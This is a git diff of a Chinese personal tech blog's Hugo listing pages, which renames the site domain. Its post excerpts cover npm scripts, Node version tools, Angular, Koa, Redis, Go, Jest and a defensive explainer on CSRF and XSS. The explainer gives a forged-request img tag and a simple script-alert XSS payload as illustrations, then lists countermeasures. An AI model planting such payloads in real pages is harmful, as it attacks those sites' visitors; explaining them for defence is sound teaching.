+"scripts": { "predev": "echo hallo", "dev": "node hallo.js", "postdev": "echo yes" } 相对于npm run predev && npm run dev && npm run postdev
 像install，uninstall，publish，test，start等等都有pre和post这两个钩子
 查看正在运行的脚本
 const NpmScript = process.env.npm_lifecycle_event console.log(NpmScript)
 可以缩写不用run，例如：npm dev
 npm script可以使用npm内部变量，例如：
-{
-"name": "root", "scripts": {
-"dev": "node hallo.js $npm_package_name"
-}
-}
-获取npm内部变量name
+{ "name": "root", "scripts": { "dev": "node hallo.js $npm_package_name" } } 获取npm内部变量name
 console.log(process.env.npm_package_name)
 脚本错误抛出
-"scripts": {
-"test": "echo \"Error: no test specified\" && exit 1"
-}
-传递参数...</p></div><footer class=entry-footer><span title='2021-09-20 14:30:00 +0000 UTC'>2021-09-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解并且使用npm script" href=https://xiaochenabc123.github.io/posts/109/></a></article><article class=post-entry><header class=entry-header><h2>数据结构学习笔记</h2></header><div class=entry-content><p>数据结构其实就是带结构的数据元素的集合，结构是数据元素之间的关系
+"scripts": { "test": "echo \"Error: no test specified\" && exit 1" } 传递参数...</p></div><footer class=entry-footer><span title='2021-09-20 14:30:00 +0000 UTC'>2021-09-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解并且使用npm script" href=https://chenjunlinabc.github.io/posts/109/></a></article><article class=post-entry><header class=entry-header><h2>数据结构学习笔记</h2></header><div class=entry-content><p>数据结构其实就是带结构的数据元素的集合，结构是数据元素之间的关系
 数据结构（数组，字符串，队列，栈，链表，集合，哈希表（散列表），树（二叉树），图）
 集合：结构中的元素除了同属于一个集合外，没有别的关系
 线性结构：结构中的元素之间存在一对一的关系，一个对应一个
@@ -41,7 +25,7 @@
 栈：线性结构的一种特殊的存储方式
 数据存储是按照先进后出的原理，先进入的数据，放在最下面，最后进入的放在最前面
 数据的获取也是才上面往下面获取的
-顺序栈：会在顺序栈中设置一个永远指向顶部元素的变量，当这个变量为-1的时候，说明这个栈没有元素，而存储一个元素就加一，获取就减一</p></div><footer class=entry-footer><span title='2021-09-17 01:00:00 +0000 UTC'>2021-09-17</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 数据结构学习笔记" href=https://xiaochenabc123.github.io/posts/106/></a></article><article class=post-entry><header class=entry-header><h2>NodeJS常用工具的简单使用</h2></header><div class=entry-content><p>npm在这里https://xiaochenabc123.test.com/archives/31.html
+顺序栈：会在顺序栈中设置一个永远指向顶部元素的变量，当这个变量为-1的时候，说明这个栈没有元素，而存储一个元素就加一，获取就减一</p></div><footer class=entry-footer><span title='2021-09-17 01:00:00 +0000 UTC'>2021-09-17</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 数据结构学习笔记" href=https://chenjunlinabc.github.io/posts/106/></a></article><article class=post-entry><header class=entry-header><h2>NodeJS常用工具的简单使用</h2></header><div class=entry-content><p>npm在这里https://xiaochenabc123.test.com/archives/31.html
 Yarn在这里https://xiaochenabc123.test.com/archives/38.html
 nvm全名node.js version management
 用来nodejs多版本管理，可以切换和安装不同版本的nodejs
@@ -78,51 +62,22 @@
 安装指定版本的nodejs（如果已安装了这个版本，那么就会选择这个版本，这个命令可以用来安装和选择）
 n 14.17.3
 卸载指定版本
-n rm 14.17.3...</p></div><footer class=entry-footer><span title='2021-09-16 21:55:00 +0000 UTC'>2021-09-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NodeJS常用工具的简单使用" href=https://xiaochenabc123.github.io/posts/105/></a></article><article class=post-entry><header class=entry-header><h2>Angular学习笔记</h2></header><div class=entry-content><p>Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）
+n rm 14.17.3...</p></div><footer class=entry-footer><span title='2021-09-16 21:55:00 +0000 UTC'>2021-09-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NodeJS常用工具的简单使用" href=https://chenjunlinabc.github.io/posts/105/></a></article><article class=post-entry><header class=entry-header><h2>Angular学习笔记</h2></header><div class=entry-content><p>Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）
 Angular和Vue的区别就是，Angular具备完整的MVVM框架功能（功能高度集成），提供一套完整的解决方案，而Vue是轻量级MVVM框架（渐进式，还需要vue-router之类的扩展功能），Angular和Vue并没有谁好谁坏之分，各有风格
 注意：Angular是AngularJS的重写，AngularJS使用JavaScript编写完成，而Angular采用TypeScript编写完成
 安装
 npm install -g angular-cli
 第一个Angular应用
-&lt;div ng-app ng-init="name='default'">
-&lt;p>name: &lt;input type="text" ng-model="name">&lt;/p>
-&lt;h1>hallo，{{name}}&lt;/h1>
-&lt;p ng-bind="name">&lt;/p>
-&lt;/div>
-ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值</p></div><footer class=entry-footer><span title='2021-09-13 12:00:00 +0000 UTC'>2021-09-13</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Angular学习笔记" href=https://xiaochenabc123.github.io/posts/101/></a></article><article class=post-entry><header class=entry-header><h2>Koa框架学习笔记</h2></header><div class=entry-content><p>koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架
+&lt;div ng-app ng-init="name='default'"> &lt;p>name: &lt;input type="text" ng-model="name">&lt;/p> &lt;h1>hallo，{{name}}&lt;/h1> &lt;p ng-bind="name">&lt;/p> &lt;/div> ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值</p></div><footer class=entry-footer><span title='2021-09-13 12:00:00 +0000 UTC'>2021-09-13</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Angular学习笔记" href=https://chenjunlinabc.github.io/posts/101/></a></article><article class=post-entry><header class=entry-header><h2>Koa框架学习笔记</h2></header><div class=entry-content><p>koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架
 个人推荐：个人开发推荐用koa，团队开发推荐用egg
 egg是在koa的基础上进行封装，并且提供了一些，并且添加了约束，更利于工程化的开发
 安装koa
 npm install koa
 新建一个app.js
-const Koa = require("koa")
-const app = new Koa()
-app.use(async (ctx, next) => {
-await next()
-ctx.response.type = 'text/html'
-ctx.response.body = '&lt;h1>hallo, koa!&lt;/h1>'
-})
-app.listen(3000)
-node app.js
+const Koa = require("koa") const app = new Koa() app.use(async (ctx, next) => { await next() ctx.response.type = 'text/html' ctx.response.body = '&lt;h1>hallo, koa!&lt;/h1>' }) app.listen(3000) node app.js
 get请求参数的接收
-const Koa = require('koa')
-const app = new Koa()
-app.use(async(ctx)=>{
-const url =ctx.url
-const request =ctx.request
-const reqQuery = request.query
-const reqQuerystring = request.querystring
-ctx.body={
-url,
-reqQuery,
-reqQuerystring
-}
-})
-app.listen(3000,()=>{
-console.log('port 3000')
-})
-http://127....</p></div><footer class=entry-footer><span title='2021-09-12 18:30:00 +0000 UTC'>2021-09-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Koa框架学习笔记" href=https://xiaochenabc123.github.io/posts/100/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/page/9/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/page/11/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+const Koa = require('koa') const app = new Koa() app.use(async(ctx)=>{ const url =ctx.url const request =ctx.request const reqQuery = request.query const reqQuerystring = request.querystring ctx.body={ url, reqQuery, reqQuerystring } }) app.listen(3000,()=>{ console.log('port 3000') }) http://127....</p></div><footer class=entry-footer><span title='2021-09-12 18:30:00 +0000 UTC'>2021-09-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Koa框架学习笔记" href=https://chenjunlinabc.github.io/posts/100/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/page/9/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/page/11/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/page/11/index.html b/page/11/index.html
index 3b30950e..b8e77e5a 100644
--- a/page/11/index.html
+++ b/page/11/index.html
@@ -1,21 +1,14 @@
-<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.111.3"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/index.xml><link rel=alternate type=application/json href=https://xiaochenabc123.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://xiaochenabc123.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://xiaochenabc123.github.io/favicon.ico","sameAs":["https://github.com/xiaochenabc123","mailto:xiaochenabc123@qq.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>简单了解CSRF攻击和XSS攻击</h2></header><div class=entry-content><p>CSRF
+<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.119.0"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/index.xml><link rel=alternate type=application/json href=https://chenjunlinabc.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://chenjunlinabc.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://chenjunlinabc.github.io/favicon.ico","sameAs":["https://github.com/chenjunlinabc","mailto:chenjunlinabc123@foxmail.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>简单了解CSRF攻击和XSS攻击</h2></header><div class=entry-content><p>CSRF
 CSRF：跨站点请求伪造(Cross—Site Request Forgery)
 CSRF实质上就是盗用身份，来实现发送恶意请求
 在访问某个“可信”站点，生成Cookie，再打开某个恶意网站，而这个恶意网站带有CSRF攻击的脚本，然后通过引诱用户触发该脚本，就会向那个可信站点发送恶意请求
 例如：
-&lt;img src ="http://xxx.xxx/test?xxx=666">
-只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
+&lt;img src ="http://xxx.xxx/test?xxx=666"> 只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
 而解决方法就是保证请求来源自当前站点，例如Referer字段，这个字段记录来源站点的地址，通过判断Referer字段上的域名，来判断是否是当前网站自己的请求
 这个方法有个缺点就是由浏览器提供，不能保证浏览器自己有没有安全漏洞，不然还是能够伪造Referer字段，而且如果用户设置不提供Referer字段，那也会默认导致认为是CSRF攻击
 还有一个方法就是通过添加token来处理，请求地址使用一串令牌（加密），来确保是当前站点发送请求，因为哪怕是伪造请求，也不知道令牌是什么，而且还搭配XMLHttpRequest来请求，确保请求信息不被Referer字段收录
 JavaScript简单实现方法
-let referer = document.location.href;
-if(referer != null && referer.startsWith("https://xiaochenabc123.test.com")){
-console.log("验证成功!!!")
-}else{
-console.log("验证失败!!!")
-}
-防御措施：token身份验证，页面来源验证（referer）等等
+let referer = document.location.href; if(referer != null && referer.startsWith("https://xiaochenabc123.test.com")){ console.log("验证成功!!!") }else{ console.log("验证失败!!!") } 防御措施：token身份验证，页面来源验证（referer）等等
 XSS：跨站脚本攻击（Cross Site Scripting），因为避免和层叠样式表混淆，因此叫XSS
 XSS攻击原理就是在页面插入恶意脚本，当页面被访问了，那么这个恶意脚本被执行，从而达到恶意攻击用户的目的
 例如：在某个页面评论上加&lt;script>alert(‘hack’)&lt;/script>，那么如果没有做过xss攻击防御的站点，其他用户访问到这个页面，那么就会执行该程序
@@ -35,14 +28,13 @@
 内容安全策略实质上就是告诉浏览器，什么东西可以加载执行，什么东西不能加载执行，内容安全策略的实现和操作都由浏览器完成，只需要提供配置就好
 要开启CSP需要服务器返回Content-Security-Policy头部
 html也可以配置该策略，例如：
-&lt;meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*;">
-其中img-src对应的指定图像或者图标的有效来源
+&lt;meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*;"> 其中img-src对应的指定图像或者图标的有效来源
 常用的有img-src，font-src，script-src，style-src等等
 CSRF
 X-Frame-Options：DENY/SAMEORIGIN
 可以利用Cookie的SameSite属性，这个属性有3个值，分别是Strict，Lax，None，主要用的就是Strict属性值
 Strict：完全禁止第三方Cookie，只有当目前网页的url和请求目标一致才会发生Cookie
-中间人攻击可以通过开启https来进行大部分的攻击免疫（https中间人攻击还是存在的）</p></div><footer class=entry-footer><span title='2021-09-12 17:00:00 +0000 UTC'>2021-09-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解CSRF攻击和XSS攻击" href=https://xiaochenabc123.github.io/posts/99/></a></article><article class=post-entry><header class=entry-header><h2>Redis学习笔记</h2></header><div class=entry-content><p>Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储
+中间人攻击可以通过开启https来进行大部分的攻击免疫（https中间人攻击还是存在的）</p></div><footer class=entry-footer><span title='2021-09-12 17:00:00 +0000 UTC'>2021-09-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解CSRF攻击和XSS攻击" href=https://chenjunlinabc.github.io/posts/99/></a></article><article class=post-entry><header class=entry-header><h2>Redis学习笔记</h2></header><div class=entry-content><p>Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储
 Redis具备速度快，支持多种数据结构，可持久化，支持主从复制，具备高可用，分布式等特点
 可以将内存中的数据存储到磁盘中，重启的时候再加载使用，保证数据的持久性，支持备份恢复，常用于缓存数据库（辅助持久化数据库）
 因为其是以内存作为存储介质，因此读写数据的效率极高，读取速度可高达110000次/s（也就说可达到10W QPS，QPS（Queries Per Second）:每秒查询率），写速度高达81000次/s
@@ -85,7 +77,7 @@
 logfile，redis日志名
 dir，redis工作目录（日志文件和持久化文件存储在哪个文件）
 以守护进程运行（yes为守护进程），注意如果是以守护进程运行，那么会默认将pid写入到/var/run/redis.pid
-daemonize yes...</p></div><footer class=entry-footer><span title='2021-09-10 21:10:00 +0000 UTC'>2021-09-10</span>&nbsp;·&nbsp;5 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Redis学习笔记" href=https://xiaochenabc123.github.io/posts/97/></a></article><article class=post-entry><header class=entry-header><h2>Golang学习笔记</h2></header><div class=entry-content><p>Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言
+daemonize yes...</p></div><footer class=entry-footer><span title='2021-09-10 21:10:00 +0000 UTC'>2021-09-10</span>&nbsp;·&nbsp;5 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Redis学习笔记" href=https://chenjunlinabc.github.io/posts/97/></a></article><article class=post-entry><header class=entry-header><h2>Golang学习笔记</h2></header><div class=entry-content><p>Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言
 go语言确保达到静态编译语言的安全和性能的同时，又达到动态语言的开发维护效率
 Go语言天生支持并发，提供自动垃圾回收机制
 go的源文件是xxx.go
@@ -100,12 +92,7 @@
 go env
 源程序默认为UTF-8编码，;可省略
 第一个go程序
-package main
-import "fmt"
-func main(){
-fmt.Println("hallo golang")
-}
-go run hallo.go
+package main import "fmt" func main(){ fmt.Println("hallo golang") } go run hallo.go
 当然作为一个编译型语言，编译成二进制文件是支持的
 go build hallo.go
 作为一个静态强类型语言，如果学过java的话，理解还是很轻松的
@@ -126,28 +113,16 @@
 var abc string = “hallo”
 注意：如果声明变量了，但是没有初始化，那个该变量的值为系统默认设置的值（零值）
 定义多个变量
-var abc xyz string = “hallo”,“word”...</p></div><footer class=entry-footer><span title='2021-09-09 01:00:00 +0000 UTC'>2021-09-09</span>&nbsp;·&nbsp;13 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Golang学习笔记" href=https://xiaochenabc123.github.io/posts/96/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Jest-JavaScript测试工具</h2></header><div class=entry-content><p>Jest是Facebook开源的一套JavaScript测试框架
+var abc xyz string = “hallo”,“word”...</p></div><footer class=entry-footer><span title='2021-09-09 01:00:00 +0000 UTC'>2021-09-09</span>&nbsp;·&nbsp;13 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Golang学习笔记" href=https://chenjunlinabc.github.io/posts/96/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Jest-JavaScript测试工具</h2></header><div class=entry-content><p>Jest是Facebook开源的一套JavaScript测试框架
 安装
 在项目中安装
 yarn add –dev jest或者npm install –save-dev jest
 全局安装
 yarn global add jest
 hello.js
-module.exports = function(){
-return "hello world"
-}
-hello.test.js
-const hello = require('../hello')
-it('should ', () => {
-expect(hello()).toBe('hello world')
-})
-package.json
-{
-"scripts": {
-"test": "jest"
-}
-}
-执行测试
+module.exports = function(){ return "hello world" } hello.test.js
+const hello = require('../hello') it('should ', () => { expect(hello()).toBe('hello world') }) package.json
+{ "scripts": { "test": "jest" } } 执行测试
 yarn test或者npm run test
 exspect() //运行结果
 toBe() //期待的结果
@@ -159,27 +134,15 @@
 toBeFalsy() //判断结果为false
 toBeGreaterThan(5) //判断结果是否大于5
 toBeLessThan(5) //判断结果是否小于5
-toBeGreaterThanOrEqual(6) //判断结果是否大于等于6...</p></div><footer class=entry-footer><span title='2021-09-06 23:00:00 +0000 UTC'>2021-09-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Jest-JavaScript测试工具" href=https://xiaochenabc123.github.io/posts/95/></a></article><article class=post-entry><header class=entry-header><h2>React进阶学习笔记</h2></header><div class=entry-content><p>react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16
